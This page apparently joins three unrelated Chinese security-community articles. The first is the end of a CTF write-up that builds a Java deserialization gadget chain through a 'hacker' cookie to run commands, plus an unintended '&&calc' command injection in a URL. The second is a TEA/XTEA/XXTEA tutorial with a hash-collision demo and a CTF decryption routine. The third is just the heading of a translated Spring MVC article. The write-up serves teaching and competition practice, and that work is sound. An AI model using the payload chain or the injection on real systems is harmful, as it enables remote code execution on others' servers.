bean.setFilterChainDefinitionMap(map);
return bean;
}
* * *
* `SQL注入？`第一眼反应感觉可能存在注入漏洞或者是XSS但又想到是CTF比赛，应该是不会考察XSS，所以觉得是SQL注入漏洞，然后用SQLMAP尝试一波注入绕过后，没有发现SQL注入漏洞。
@Override
public String filter(String param) {
String[] keyWord = new String[]{"'", "\"", "select", "union", "/;", "/%3b"};
String[] var3 = keyWord;
int var4 = keyWord.length;
for(int var5 = 0; var5 < var4; ++var5) {
String i = var3[var5];
param = param.replaceAll(i, "");
}
return param;
}
* * *
* 远程命令执行？翻遍代码发现调用`exeCmd`方法只有`LogHandler`。
public static String exeCmd(String commandStr) {
BufferedReader br = null;
String OS = System.getProperty("os.name").toLowerCase();
try {
Process p = null;
if (OS.startsWith("win")){
p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});
}else {
p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", commandStr});
}
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
} catch (Exception var5) {
var5.printStackTrace();
return "error";
}
}
* * *
## 灰盒测试
* 根据获取的账号`admin`尝试爆破（无果）
* sql注入再次尝试根据前面过滤掉参数进行bypass（无果），后期发现根本没有数据库链接操作，不可能存在sql注入。
* 根据获取的shiro版本可知，没有shiro反序列化漏洞但有权限绕过（成功）。
目前为止只能根据页面知道，该页面是一个`访问日志`展示页面。
* * *
## 源码深度刨析
### 深度分析
Javaweb题目当然还是得从web页面分析，看源码分析一共就两个类访问控制器是处理web请求的。
* `IndexController`处理登录前后页面
* `LoginController`处理登录请求页面
前面分析到没有数据库，在源码也没发现登录的账号和密码故不用考虑
`LoginController`类，深度分析`IndexController`类发现该类存在反序列化操作。
@GetMapping({"/index/{name}"})
public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
Cookie[] cookies = request.getCookies();
boolean exist = false;
Cookie cookie = null;
User user = null;
if (cookies != null) {
Cookie[] var8 = cookies;
int var9 = cookies.length;
for(int var10 = 0; var10 < var9; ++var10) {
Cookie c = var8[var10];
//判断cookie中是否存在hacker字段
if (c.getName().equals("hacker")) {
exist = true;
cookie = c;
break;
}
}
}
// 存在hacker字段，执行反序列化操作
//
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
//反序列化操作点
user = (User)Tools.deserialize(bytes);
} else {
// 没有hacker字段，添加一个并设置其值
user = new User();
user.setID(1);
user.setUserName(name);
cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
// 添加值到前端页面
request.setAttribute("hacker", user);
request.setAttribute("logs", new LogHandler());
return "index";
}
* 前端源码
* `存在反序列化点，下一步肯定构造反序列化请求，但如何构造反序列化请求呢？`前文提及到调用`exeCmd`方法只有`LogHandler`类。分析该类，两个方法都调用`exeCmd`执行命令。`invoke`方法里面调用的`exeCmd`是执行`wirteLog`命令，而`toString`方法里面调用`exeCmd`是执行`readLog`命令。
public class LogHandler extends HashSet implements InvocationHandler {
private Object target;
private String readLog = "tail accessLog.txt";
private String writeLog = "echo /test >> accessLog.txt";
public LogHandler() {
}
public LogHandler(Object target) {
this.target = target;
}
@Override
// 请求url路径写入访问日志
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
@Override
// 读取日志返回结果
public String toString() {
return Tools.exeCmd(this.readLog);
}
}
* * *
### 小结
总结下目前为止所有的信息点：
1. 存在权限绕过，URL：`index/%3b/admin`(/%3b可以是`/'/`, `select`, `union`, `/;`之一)
2. 存在反序列化点`IndexController#index`，构造请求`cookie`一定要有`hacker`字段。
3. `index/admin`是访问日志
4. 反序列化执行的点在`LogHandler`其中的两个方法
* * *
### Payload构造
下面两端代码分别是通过反射调用`invoke`和`toString`方法达到执行命令目的，对比一下很明显`toString`方法更加的简单质朴。
public void invoke() throws Throwable {
LogHandler logHandler = new LogHandler();
Field wirtelog = logHandler.getClass().getDeclaredField("writeLog");
wirtelog.setAccessible(true);
wirtelog.set(logHandler, "calc");
Object ob = new Object();
Method method = logHandler.getClass().getMethod("invoke", Object.class, Method.class, Object[].class);
Object[] obs = new Object[]{"asd","asd"};
logHandler.invoke(ob,method,obs);
}
public void ToString() throws NoSuchFieldException, IllegalAccessException {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "calc");
logHandler.toString();
}
* * *
反序列化点get！反序列化目标get！最后一步构造反序列化链！现在缺少一个封装类将构造好的类封装发给服务器直接反序列化，`ysoserial`其中的CC5中使用的`BadAttributeValueExpException`异常类满足要求。最终Payload如下：
* * *
public static void Calc() throws Throwable {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "calc");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, logHandler);
String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
System.out.println("Cookie: " + "hacker="+ datas);
}
* * *
### 非预期—执行命令
**效果如下：访问/index/admin &&calc会执行命令**
**原因分析**
根本原因在下面这一段，作者没有考虑到用户会使用管道来执行命令，直接将url路径直接就写访问日志中，导致执行命令。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
* * *
## 知识补充
写到这，其实是对shiro一些知识的补充。前期对shiro了解较少，后期做了大量知识补充。官方给的是jar包，反编译之后改成自己的踩了
一些坑。顺便记录一下，只想看题目分析的可以Pass。
1. 下面是自己不仔细导致错误，其实都知道，但是忘记了
* User没有实现`Serializable接口`导致报错，不能反序列化
* User类没有`serialVersionUID`导致报错，版本不一致
2. Tools类没有判断操作系统的版本，导致执行命令不成功
3. tail命令在windows系统是没有的，导致无法生成acessLog.txt文件
4. tail加了-f参数导致服务器一直读取文件，导致长时间不回显
5. 注释掉`MyFilter`中`Component`就是shiro原本的CVE-2020-13933漏洞
6. 学习了b站关于shiro内容[【狂神说Java】SpringBoot整合Shiro框架](https://www.bilibili.com/video/BV1NE411i7S8)
* * *
## 总结
* Gadget：
* Tools.base64Decode()
* Tools.deserialize()
* ObjectInputStream.readObject()
* BadAttributeValueExpException.readObject()
* LogHandler.toSting()
* Tools.exeCmd()
当时写这个题目的时候已经无限接近答案了，只是当时不确定怎么封装类。不得不说CC链还是不熟悉，没有完全吃透，不得不说CC永远的神！
* * *
## 参考
<https://github.com/SummerSec/JavaLearnVulnerability>
<https://www.bilibili.com/video/BV1NE411i7S8> | 社区文章 |
# TEA系列算法101
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## TEA系列算法学习
TEA（Tiny Encryption
Algorithm）微型加密算法是一种易于描述的基于块的加密手法。通常来说，TEA加密算法会作用在两个32bit的无符号整数上（又或者可以理解成一个64bit的整数），并且会使用一个128bit的数字作为密钥。其拥有一个叫做[Feistel
结构](https://en.wikipedia.org/wiki/Feistel_cipher)的密码学结构。这种密码学结构通俗的来讲就是会将加密的plaintext分成L、R两部分，并且满足
`L_{i+1} = R_i, R_{i+1} = F(K_i,R_i) \oplus L_i` 这种交换式的加密方式的一种结构。
TEA加密算法使用了64轮的加密算法结构，并且是成对的执行加密轮次。在加密周期中，每个密钥都是按照相同的轮次进行密钥的混合，从而完成加密。这个加密算法中为了防止基于轮询过程中的可能发生的攻击，使用了黄金分割律数字转换的一个数字
2654435769 （0x9E3779B9）作为魔数。
>
> 值得注意的是，TEA算法中的密钥中存在缺陷。每一个key都等效于其他算法中的三个key，这意味着实际上key中只有126bit会生效。因此，TEA算法的散列性能不好。这个弱点甚至导致了Xbox被黑客攻击。并且TEA容易受到密钥相关攻击，这需要在相关密钥对下选择
> `2^{23}` 个明文，并且具有 $2^{32}$ 的时间复杂度 ———— 摘自wiki，下文会解释
### TEA算法实现
算法加密过程可以用一个图简单的说明:
输入一定要是一个64bit的数字，或者可以写作一个拥有两个元素的32bit的数组。，并且需要一个两倍长度的key（`int[4]`)。整个加密流程如下:
void encrypt (uint32_t v[2], const uint32_t k[4]) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9E3779B9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
有几个重要的特征
* 存在一个delta值，这个值会不停的增加到sum之中，形成一种循环的效果
* 传入的v0，v1会和传入的key0，key1运算。v1优先参与，并且会有一个 **位移- >与密钥相加->异或**的过程。
* v0 = 原先的v1值套用公式，v1 = 变化后的v0 套用公式
* 之前用于计算delta的sum状态值也会参与
由于是一个类似 **delta状态变化+异或加密** 的过程，所以整个流程反过来写即可得到解密
void decrypt (uint32_t v[2], const uint32_t k[4]) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up; sum is 32*delta */
uint32_t delta=0x9E3779B9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
整个加密算法同样也适用于ECB,CBC等加密模式。
#### Davies–Meyer
在密码学中，单向压缩函数(one-way compression
function)是将两个固定长度的输入转换为固定长度的输出的功能。该转换是“单向”的，这意味着在给定输出的情况下，很难反向计算压缩前的输入。单向压缩函数与普通的数据压缩算法无关，而可以将其准确地（无损压缩）或近似（有损压缩）转换为原始数据。
单向要锁函数通常是由 **块加密算法** 变形而来的，一种常见的就是`Davies–Meyer`算法。该算法将消息的每个块（mi）作为
**加密算法的密钥** 。 它将上一次加密生成的哈希值（Hi-1）作为 **要加密的明文** 输入。
之后，将输出密文与上一个哈希值（Hi-1）进行异或（⊕），以产生下一个哈希值（Hi）。
在第一轮中，如果没有以前的哈希值，它将使用一个恒定的预先指定的初始值（H0），算法可以写成
`H_i = E_{m_i}(H_{i-1}) \oplus H_{i-1}`
其中的`E_{m_i}`可以理解成使用 **mi块作为密钥的加密算法**
#### TEA算法的弱点
TEA整个算法和密钥密切相关，这种算法我们称为 **密钥相关算法** 。这类算法如果密钥在加密过程中处理不当，很容易就会引发 **密钥相关攻击**
，感兴趣的[可以看这边](http://derekwilliams.us/docs/CPSC-6128-TEA-Encryption.pdf)，具体的数学原理可以看[这边](https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf)，概括的说就是，TEA算法中的每一个密钥都会有其他三种相同的密钥。大致可用如下方式理解：
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
_v1那一段也同理。_
上述的逻辑，我们可以简写成:
`V_0 = (C_1 + k_0) \oplus C_2 \oplus (C_2 + k_1)`
其中`C_*`为常量。设此时我们让k0和k1的变化为`\Delta k_*`，变化后的我们写作`k'_*`，此时有公式:
`V'_0 = (C_1 + k'_0) \oplus C_2 \oplus (C_2 + k'_1)`
如上，如果我们想要保证`V'_0 == V_0`，一个最好的办法就是 **让这个异或过程发生的变化被抵消掉**
。根据[数学原理](https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf)我们可以知道，如果将
**k0和k1的最高bit同时进行翻转，那么这个变化将会有1/2的概率被抵消**
如果TEA算法被当作 **基于Davies–Meyer的hash算法** 的话，就很容易因为散列度不足导致碰撞发生。
在[这边](http://derekwilliams.us/docs/CPSC-6128-TEA-Encryption.pdf)提到了关于TEA算法错误使用的例子。这里提到Xbox和Reiserfs都错误的使用了TEA算法，虽然xbox的源码我们找不到了，但是我找到了Reiserfs中[使用TEA的源代码](https://code.woboq.org/linux/linux/fs/reiserfs/hashes.c.html)，其中关键的如下:
#define DELTA 0x9E3779B9
#define FULLROUNDS 10 /* 32 is overkill, 16 is strong crypto */
#define PARTROUNDS 6 /* 6 gets complete mixing */
/* a, b, c, d - data; h0, h1 - accumulated hash */
#define TEACORE(rounds) \
do { \
u32 sum = 0; \
int n = rounds; \
u32 b0, b1; \
\
b0 = h0; \
b1 = h1; \
\
do \
{ \
sum += DELTA; \
b0 += ((b1 << 4)+a) ^ (b1+sum) ^ ((b1 >> 5)+b); \
b1 += ((b0 << 4)+c) ^ (b0+sum) ^ ((b0 >> 5)+d); \
} while(--n); \
\
h0 += b0; \
h1 += b1; \
} while(0)
u32 keyed_hash(const signed char *msg, int len)
{
u32 k[] = { 0x9464a485, 0x542e1a94, 0x3e846bff, 0xb75bcfc3 };
u32 h0 = k[0], h1 = k[1];
u32 a, b, c, d;
u32 pad;
int i;
/* assert(len >= 0 && len < 256); */
pad = (u32) len | ((u32) len << 8);
pad |= pad << 16;
while (len >= 16) {
a = (u32) msg[0] |
(u32) msg[1] << 8 | (u32) msg[2] << 16 | (u32) msg[3] << 24;
b = (u32) msg[4] |
(u32) msg[5] << 8 | (u32) msg[6] << 16 | (u32) msg[7] << 24;
c = (u32) msg[8] |
(u32) msg[9] << 8 |
(u32) msg[10] << 16 | (u32) msg[11] << 24;
d = (u32) msg[12] |
(u32) msg[13] << 8 |
(u32) msg[14] << 16 | (u32) msg[15] << 24;
TEACORE(PARTROUNDS);
len -= 16;
msg += 16;
}
if (len >= 12) {
a = (u32) msg[0] |
(u32) msg[1] << 8 | (u32) msg[2] << 16 | (u32) msg[3] << 24;
b = (u32) msg[4] |
(u32) msg[5] << 8 | (u32) msg[6] << 16 | (u32) msg[7] << 24;
c = (u32) msg[8] |
(u32) msg[9] << 8 |
(u32) msg[10] << 16 | (u32) msg[11] << 24;
d = pad;
for (i = 12; i < len; i++) {
d <<= 8;
d |= msg[i];
}
} else if (len >= 8) {
a = (u32) msg[0] |
(u32) msg[1] << 8 | (u32) msg[2] << 16 | (u32) msg[3] << 24;
b = (u32) msg[4] |
(u32) msg[5] << 8 | (u32) msg[6] << 16 | (u32) msg[7] << 24;
c = d = pad;
for (i = 8; i < len; i++) {
c <<= 8;
c |= msg[i];
}
} else if (len >= 4) {
a = (u32) msg[0] |
(u32) msg[1] << 8 | (u32) msg[2] << 16 | (u32) msg[3] << 24;
b = c = d = pad;
for (i = 4; i < len; i++) {
b <<= 8;
b |= msg[i];
}
} else {
a = b = c = d = pad;
for (i = 0; i < len; i++) {
a <<= 8;
a |= msg[i];
}
}
TEACORE(FULLROUNDS);
/* return 0;*/
return h0 ^ h1;
}
可以看到，Reiserfs将输入作为了加密算法的密钥，然后调用TEA算法来进行hash。我们可以按照前文提到的攻击手段，给出如下的例子:
int main()
{
u_int32_t key[] = {1,2,3,4};
key[1] |= (1<<31);
printf("key0 = 0x%x\n",key[0]);
printf("key1 = 0x%x\n",key[1]);
printf("[1] wrong hash function get ans:%x\n", keyed_hash(key, 16));
key[0] |= (1<<31);
key[1] &= ((1<<31)-1);
printf("key0 = 0x%x\n",key[0]);
printf("key1 = 0x%x\n",key[1]);
printf("[2] wrong hash function get ans:%x\n", keyed_hash(key, 16));
return 0;
}
此时会发现，两个key会得出同样的hash值。Xbox当年就是因为错误的使用TEA作为hash函数，从而导致原先从ROM加载的bootloader地址被修改成从RAM加载，从而绕过了相关安全固件的检查，感兴趣的可以看[这里](https://web.archive.org/web/20090416175601/http://www.xbox-linux.org/wiki/17_Mistakes_Microsoft_Made_in_the_Xbox_Security_System#Encryption_and_Hashing)（如果将来有空，可以帮忙翻译一下这类文章，感觉非常有的有趣）
### XTEA
为了解决TEA算法中的密钥相关攻击，TEA的设计者提出了XTEA（eXtended TEA）算法来解决之前的密钥相关攻击问题。
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
可以看到相较之前，发生了如下的变化:
* 由之前的`((v1<<4) + k0) ^ ((v1>>5) + k1)` 变化成了 `((v1 << 4) ^ (v1 >> 5)) + v1)`，此时v1内部数据的加密变化不再受到密钥的影响。
* 原先的`v1 + sum`变成了`(sum + key[sum & 3])`以及`sum + key[(sum>>11) & 3]`，密钥变成了轮转使用，而不是固定只针对某种数据进行加密（解密）。并且此时密钥的选取 **受到sum的影响**
* `sum += delta`的时机由每次加密开头就发生变化到v0，v1两个block加密的中间。
这些变化帮助XTEA摆脱了一些密钥相关攻击，不过同时诞生了一种叫做 **TEA 块加密**
的加密手法。这种手法作用在一些可变长的数据中（XTEA默认用于64bit长的数据）。这中加密使用XTEA的轮转加密函数（就是上述的加密流程），但是却将同一段消息进行多次迭代加密。因为它对整个消息进行操作，所以块加密具有不需要ECB、CBC那些分组密码加密的属性。然而这个方式给XTEA本身引入了漏洞，如下
void teab1_encrypt(long *v, long n, long *k)
{
unsigned long z = v[n - 1], sum = 0, e;
long p, q;
for (q = 6 + 52 / n; q > 0; q--)
{
sum += 0x9e3779b9;
e = sum >> 2 & 3 ;
for (p = 0; p < n; p++)
z = v[p] += (((z << 4) ^ (z >> 5)) + z) ^
(k[(p & 3) ^ e] + sum);
}
}
这类加密算法本身虽然套用了XTEA，不过总的来说也是属于一种错误使用，所以给了暴力破解的可能。感兴趣的可以参考[这里](https://www.researchgate.net/profile/Markku_Juhani_Saarinen/publication/228548968_Cryptanalysis_of_block_tea/links/5446bc1e0cf2d62c305049da/Cryptanalysis-of-block-tea.pdf?origin=publication_detail)
### XXTEA
在经历了块加密的问题之后，XTEA再度进化， 变成了支持块加密`XXTEA`。
这次的加密代码如下:
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++) {
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
} while (--rounds);
} else if (n < -1) { /* Decoding Part */
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--) {
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
可以看到是由之前提到过的块加密衍生的一种写法。并且作者给出了这种算法的优势：
* 每一个bit的更改将影响整个块的大约一半的bit位，但。
* 不用进行加密模式的选择。
* 即使采用始终更改发送的数据（可能只是一个消息号）的正确用法，只有相同的消息会给出相同的结果，并且只有很少量的信息泄漏。
* 应始终检查消息号，因为此操作是针对接受随机消息的检查。
* 应该无法被剪切和合并攻击。
* 如果不能接受很长的消息，则可以将它们分成60个单词的小块，并类似于用于DES的方法进行链接。
不过即使这样，这个算法似乎还是存在选择明文攻击的可能。感兴趣的可以自行搜索。
### CTF题目中的常见TEA
这类算法比较常见于逆向中，在分析二进制文件中的算法的时候有几个识别的特征:
* 可能存在针对64bit以及128bit数字的操作（输入的msg和key）
* 存在 **先进行位移，然后异或** 的类似操作（`(z>>5^y<<2)`这类混合变换）
* 前面一个复杂的混合变换的结果可能会叠加到另一个值上，两者相互叠加（Feistel 结构）
* 获取密钥的时候，会使用某一个常量值作为下标（`key[(sum>>11) & 3]`）
* 会在算法开始定义一个delta，并且这个值不断的参与算法，但是 **从来不会受到输入的影响** （delta数值，根据见过的题目中很少会直接使用0x9e3779b9）
解决逆向题大部分出现TEA的场合都是【识别算法->编写对应解密程序】，将上述的算法进行逆推即可得到解密。
#### 实战：xnuca2020 babyarm
这个题目里面的TEA是出题人魔改过的:
if ( (signed int)v34 <= 15 )
{
v9 = v4[15];
v28 = v4[1];
v10 = v4[6];
v32 = *v4;
v11 = v4[9];
v25 = v4[2];
v12 = v4[10];
v29 = v4[3];
v13 = v4[11];
v26 = v4[4];
v14 = v4[12];
v27 = v4[5];
v15 = v4[13];
v30 = v4[7];
v16 = v4[14];
v33 = v4[15];
v31 = v4[8];
do
{
sum = 0;
do
{
sum -= 0x61C88647;
v32 += (((v28 >> 3) ^ 16 * v9) + (4 * v28 ^ (v9 >> 5))) ^ ((v9 ^ *(int *)((char *)&v40 + (sum & 0xC) - 0x14))// ((char *)&v41 + (v17 & 0xC) - 0x14)这种写法表示:（包括写成-20->0x14）+ (v28 ^ sum));
v28 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 1) & 3) - 5) ^ v32) + (v25 ^ sum)) ^ (((v25 >> 3) ^ 16 * v32)
+ (4 * v25 ^ (v32 >> 5)));
v25 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 2) & 3) - 5) ^ v28) + (v29 ^ sum)) ^ (((v29 >> 3) ^ 16 * v28)
+ (4 * v29 ^ (v28 >> 5)));
v29 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 3) & 3) - 5) ^ v25) + (v26 ^ sum)) ^ (((v26 >> 3) ^ 16 * v25)
+ (4 * v26 ^ (v25 >> 5)));
v26 += ((*(&v40 + ((sum >> 2) & 3) - 5) ^ v29) + (v27 ^ sum)) ^ (((v27 >> 3) ^ 16 * v29)// 没有异或
+ (4 * v27 ^ (v29 >> 5)));
v27 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 5) & 3) - 5) ^ v26) + (v10 ^ sum)) ^ (((v10 >> 3) ^ 16 * v26)
+ (4 * v10 ^ (v26 >> 5)));
v10 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 6) & 3) - 5) ^ v27) + (v30 ^ sum)) ^ (((v30 >> 3) ^ 16 * v27)
+ (4 * v30 ^ (v27 >> 5)));
v30 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 7) & 3) - 5) ^ v10) + (v31 ^ sum)) ^ (((v31 >> 3) ^ 16 * v10)
+ (4 * v31 ^ (v10 >> 5)));
v18 = v31
+ (((*(&v40 + ((sum >> 2) & 3) - 5) ^ v30) + (v11 ^ sum)) ^ (((v11 >> 3) ^ 16 * v30)// 没有异或
+ (4 * v11 ^ (v30 >> 5))));
v11 += ((*(&v40 + (((unsigned __int8)(sum >> 2) ^ 9) & 3) - 5) ^ v18) + (v12 ^ sum)) ^ (((v12 >> 3) ^ 16 * v18)
+ (4 * v12 ^ (v18 >> 5)));
v31 = v18;
LOBYTE(v18) = sum >> 2;
v12 += ((*(&v40 + (((unsigned __int8)v18 ^ 0xA) & 3) - 5) ^ v11) + (v13 ^ sum)) ^ (((v13 >> 3) ^ 16 * v11)
+ (4 * v13 ^ (v11 >> 5)));
v13 += ((*(&v40 + (((unsigned __int8)v18 ^ 0xB) & 3) - 5) ^ v12) + (v14 ^ sum)) ^ (((v14 >> 3) ^ 16 * v12)
+ (4 * v14 ^ (v12 >> 5)));
v14 += ((*(&v40 + ((sum >> 2) & 3) - 5) ^ v13) + (v15 ^ sum)) ^ (((v15 >> 3) ^ 16 * v13)// 没有异或
+ (4 * v15 ^ (v13 >> 5)));
v15 += (((v16 >> 3) ^ 16 * v14) + (4 * v16 ^ (v14 >> 5))) ^ ((*(&v40 + (((unsigned __int8)v18 ^ 0xD) & 3) - 5) ^ v14)
+ (v16 ^ sum));
v16 += (((v33 >> 3) ^ 16 * v15) + (4 * v33 ^ (v15 >> 5))) ^ ((*(&v40 + (((unsigned __int8)v18 ^ 0xE) & 3) - 5) ^ v15)
+ (v33 ^ sum));
v19 = (((v32 >> 3) ^ 16 * v16) + (4 * v32 ^ (v16 >> 5))) ^ ((*(&v40 + (((unsigned __int8)v18 ^ 0xF) & 3) - 5) ^ v16)
+ (v32 ^ sum));
*v4 = v32;
v4[1] = v28;
v4[2] = v25;
v4[3] = v29;
v4[4] = v26;
v4[5] = v27;
v9 = v19 + v33;
v4[7] = v30;
v4[6] = v10;
v4[8] = v31;
v4[9] = v11;
v4[10] = v12;
v4[11] = v13;
v4[12] = v14;
v4[13] = v15;
v4[14] = v16;
v4[15] = v19 + v33;
v33 += v19;
}
while ( sum != 0x8FF34781 );
++v34;
}
while ( v34 != (char *)16 );
出题人在这个算法前面的逻辑里玩了一个小花招：这段逻辑并不会一开始就出现在main函数中，而是在执行的时候，从`.init_array`取出的函数会将main函数的后方逻辑修改成这个函数的入口。整体逻辑比较偏长，不过可以辨认应该是魔改的XXTEA，并且每16个字节为一组进行的加密。这个题有几个小坑
* sum是减法而不是TEA算法中常见的加法运算
* 这几个加密算法中的4，8，12，16个字节的算法不同于其他的加密算法
不过识别出这些坑之后，由于我们知道TEA算法实际上是满足`Feistel
结构`的算法。这一类算法在已知key的情况下，必定是可以反推的。通过观察我们可以知道，`v4[15]`正好是最新的一个状态，所以可以从这个状态往回进行推理。题目中的key就藏在了文件中，于是最终解密代码我们可以写成:
uint32_t DeryptoLoop(unsigned int num1, unsigned int num2, uint32_t sum, uint32_t index)
{
unsigned int key[4] = { 2,2,3,4 };
//unsigned int key[4] = { 4,3,2,2 };
uint32_t tmp1 = ((num1 >> 3) ^ 16 * num2) + (4 * num1 ^ (num2 >> 5));
uint32_t tmp2 = (key[((sum >> 2) ^ index) & 3] ^ num2) + (num1 ^ sum);
return tmp1 ^ tmp2;
}
uint32_t DeryptoLoop2(unsigned int num1, unsigned int num2, uint32_t sum, uint32_t index)
{
unsigned int key[4] = { 2,2,3,4 };
//unsigned int key[4] = { 4,3,2,2 };
uint32_t tmp1 = ((num1 >> 3) ^ 16 * num2) + (4 * num1 ^ (num2 >> 5));
uint32_t tmp2 = (key[((sum >> 2)) & 3] ^ num2) + (num1 ^ sum);
return tmp1 ^ tmp2;
}
void decrypt2(unsigned dec_2[16])
{
unsigned int state[16];
unsigned int DELTA = 0x8FF34781;
unsigned int key[4] = { 2,2,3,4 };
int round = 0;
for (int i = 0; i < 16; i++)
{
state[i] = enc_2[i];
}
do {
int tmpd = DELTA;
do {
state[15] -= DeryptoLoop(state[0], state[14], tmpd, 15);
state[14] -= DeryptoLoop(state[15], state[13], tmpd, 14);
state[13] -= DeryptoLoop(state[14], state[12], tmpd, 13);
state[12] -= DeryptoLoop2(state[13], state[11], tmpd, 12);
state[11] -= DeryptoLoop(state[12], state[10], tmpd, 11);
state[10] -= DeryptoLoop(state[11], state[9], tmpd, 10);
state[9] -= DeryptoLoop(state[10], state[8], tmpd, 9);
state[8] -= DeryptoLoop2(state[9], state[7], tmpd, 8);
state[7] -= DeryptoLoop(state[8], state[6], tmpd, 7);
state[6] -= DeryptoLoop(state[7], state[5], tmpd, 6);
state[5] -= DeryptoLoop(state[6], state[4], tmpd, 5);
state[4] -= DeryptoLoop2(state[5], state[3], tmpd, 4);
state[3] -= DeryptoLoop(state[4], state[2], tmpd, 3);
state[2] -= DeryptoLoop(state[3], state[1], tmpd, 2);
state[1] -= DeryptoLoop(state[2], state[0], tmpd, 1);
state[0] -= DeryptoLoop2(state[1], state[15], tmpd, 0);
tmpd += 0x61C88647;
} while (tmpd != 0);
round += 1;
} while (round < 16);
for (int i = 0; i < 16; i++)
{
dec_2[i] = state[i];
}
}
## 总结
最初只是想作为一个笔记记录一下学习过程，然而后来发现TEA的演进过程十分有趣，于是便想将这个有趣的故事分享给大家。
算法也是一个不断演进的过程，从TEA，XTEA，即便是XXTEA依然也被提出存在选择明文攻击的可能。安全是一个不断攻防的过程，并且每一个方面都可能称为切入点，这点从Xbox被破解这件事情上也能看的出来。
## 参考链接
[Wiki TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm)
[Wiki XTEA](https://en.wikipedia.org/wiki/XTEA)
[Wiki XXTEA](https://en.wikipedia.org/wiki/XXTEA)
[Wiki-Tiny_Encryption_Algorithm](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm)
[Xbox_Security_System_With_TEA_Hash](https://web.archive.org/web/20090416175601/http://www.xbox-linux.org/wiki/17_Mistakes_Microsoft_Made_in_the_Xbox_Security_System#The_TEA_Hash) | 社区文章 |
# 【技术分享】自动绑定漏洞和Spring MVC
|
##### 译文声明
本文是翻译文章，文章来源：agrrrdog.blogspot.co.id
原文地址：<http://agrrrdog.blogspot.co.id/2017/03/autobinding-vulns-and-spring-mvc.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
